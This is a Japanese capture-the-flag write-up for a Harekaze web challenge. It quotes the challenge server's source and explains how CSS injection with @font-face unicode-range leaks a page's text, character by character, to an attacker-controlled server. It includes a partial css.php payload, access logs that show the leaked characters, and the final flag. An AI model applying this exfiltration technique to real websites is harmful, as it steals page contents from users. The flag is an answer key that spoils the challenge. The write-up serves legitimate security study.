Rating: 1.0
# ▼▼▼A custom CSS for the flag(Web:250)18/447team=4.0%▼▼▼
**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```
Description
Let’s decorate with fashionable CSS in this site(http://problem.harekaze.com:10003/).
Don’t DOS Attack.
```
---
**1.脆弱性の特定**
http://problem.harekaze.com:10003/
↓
```
<html>
<head>
<meta charset="utf8" />
<title>A custom CSS for the flag</title>
<script src='https://www.google.com/recaptcha/api.js'></script>
</head>
<body>
<h1>A custom CSS for the flag</h1>
server.js
The flag is in http://127.0.0.1:3002/flag.html
The flag format is the two CSS3 properties connected by a underscore (_).
Example: HarekazeCTF{background-image_font-size}
<form action="/crawl.html" method="post">
Server side chromium will access the following URL. The URL of CSS file must starts with "http://" or "https://".
http://127.0.0.1:3002/flag.html?css=<input type="text" name="css" />
<div class="g-recaptcha" data-sitekey="6LdemkQUAAAAALOZJWo32hcBTeUxT2clpl2fVqMO"></div>
<input type="submit"/>
Chromium Version : 64.0.3282.119-1~deb9u1
</form>
</body>
↓
flagは、`http://127.0.0.1:3002/flag.html`にあり、任意のCSSを設定できる
また、自動読み込み側のブラウザは、`Chromium Version : 64.0.3282.119-1~deb9u1`と書かれている。
↓
CSSインジェクションからデータ抽出すればよいことがわかる。
---
**2.攻撃方法の絞り込み**
CSSインジェクションからデータ抽出する方法はいくつかあるので、どの攻撃が使えるか制約条件を`server.js`のソースコードから確認していく。
CSSのURLの読み込まれ方を確認
↓
```
'use strict';
const express = require("express");
const bodyParser = require('body-parser');
const puppeteer = require('puppeteer');
const https = require('https');
const fs = require("fs");
const app = express();
const request = require("request");
app.use(bodyParser.urlencoded({ extended: true }))
app.use(bodyParser.json())
async function crawl(req, res) {
if(!req.body['g-recaptcha-response']) {
res.send("ReCAPTCHA error.");
return;
}
var verificationUrl = `https://www.google.com/recaptcha/api/siteverify?secret=${process.env.RECAPTCHA_SECRET}&response=${req.body['g-recaptcha-response']}&remoteip=${req.connection.remoteAddress}`
request(verificationUrl,async function(error,response,body) {
const recaptcha = JSON.parse(body);
if( recaptcha.success === true ) {
res.send("Crawling");
const browser = await puppeteer.launch({executablePath: '/usr/bin/chromium'});
const page = await browser.newPage();
await page.goto( "http://127.0.0.1:3002/flag.html?css=" + req.body.css, { waitUntil: "load" });
await page.waitFor(20000);
await browser.close();
}else{
res.send("ReCAPTCHA error.");
}
});
};
app.get('/server.js',function (req, res) { res.sendFile("/app/server.js") });
app.post('/crawl.html', crawl);
app.use('/', express.static('public'));
var server = app.listen(3001, function () {
var host = server.address().address;
var port = server.address().port;
console.log('CSS-Injection http://%s:%s', host, port);
});
const app2 = express();
app2.get('/flag.html', function (req, res) {
console.log(req.connection.remoteAddress);
req.query.css = req.query.css || "";
if (req.query.css.startsWith("http://") || req.query.css.startsWith("https://")) {
res.send(`<html>
<link rel="stylesheet" href="${encodeURI(req.query.css)}" />
<body>
<div id="flag">
HarekazeCTF{${fs.readFileSync("flag.txt")}}
</div>
</body>
</html>`);
} else {
res.send("Bad URI");
}
});
var server2 = app2.listen(3002,"localhost");
```
---
`<link rel="stylesheet" href="${encodeURI(req.query.css)}" />`
↓
まず、CSSは、rel="stylesheet"で読み込まれており、hrefにURLを反映できることがわかる。
---
次に、flagの場所は下記のように、属性の中ではないことがわかる。
```
<div id="flag">HarekazeCTF{${fs.readFileSync("flag.txt")}}</div>
```
これらより、`@font-faceのunicode-rangeを利用する攻撃方法`でデータ抽出できそうだ。
---
**3.exploit**
PHPで下記のようにコードを書いて、flagに使われている文字を抽出していく。
※クロスドメイン通信でのCSS読み込みでは、`Content-Type:text/css`は必須であることに注意する。
↓
`css.php`
```
#flag{ font-family:poc;}
```
---
後は、自サーバの下記のURLにcss.phpを配置して踏ませればよい。
↓
http://{my_server}/css.php
↓
すると、待ち受けているmy_serverにアクセスが来る。
↓
```
163.43.29.129 - - [11/Feb/2018:03:30:20 +0000] "GET /css.php HTTP/1.1" 200 8116 "http://127.0.0.1:3002/flag.html?css=http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:20 +0000] "GET /?{ HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:20 +0000] "GET /?z HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:20 +0000] "GET /?r HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:20 +0000] "GET /?o HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:20 +0000] "GET /?k HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:20 +0000] "GET /?e HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?d HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?b HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?T HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?H HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?a HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?F HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?C HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?- HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?t HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?m HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?l HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?f HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?s HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?u HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?n HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?_ HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?} HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?i HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:22 +0000] "GET /?c HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
```
↓
使われている文字が、下記であることがわかった。
`{zorkedbaFTHCtmlfusnic_-}`
↓整理してみる
`HarekazeCTF{odbtmlfusnic_-}`
↓
よって、`{}`の中は`odbtmlfusnic_-`を使うのは必須で、重複も可能なため`abcdef..i.klmno..rstu....z_-`の文字を利用できることがわかった。
---
**4.flagの絞り込み**
flag形式を再確認する
↓
```
The flag format is the two CSS3 properties connected by a underscore (_).
Example: HarekazeCTF{background-image_font-size}
```
↓
2つのCSS3のpropertiesを_で連結している形式であることがわかる。
---
下記のCSS properties Listを参考にした。
```
https://www.w3.org/Style/CSS/all-properties.en.html
http://htmlcss.jp/css/index.html
```
↓
CSS3で新たに使えるようになったもの、使われていない文字`ghjpqvwzy`を元にプロパティを絞り込んだ。
また、組み合わせの確認については、必須文字が12文字なので6文字以上合致しているものを軸に、総当たりで確認していった。
すると、条件を満たすものを複数発見することができた。
↓
```
border-bottom-left-radius × animation-direction
border-bottom-left-radius × animation-iteration-count
border-bottom-left-radius × column-count
border-top-left-radius × column-fill
border-top-left-radius × column-rule-color
border-top-left-radius × column-count
border-top-right-radius × column-fill
dominant-baseline × column-fill
```
↓
8(上記の8個)×2(前後)=16回をブルートフォースしてflagを特定した
↓
`HarekazeCTF{animation-direction_border-bottom-left-radius}`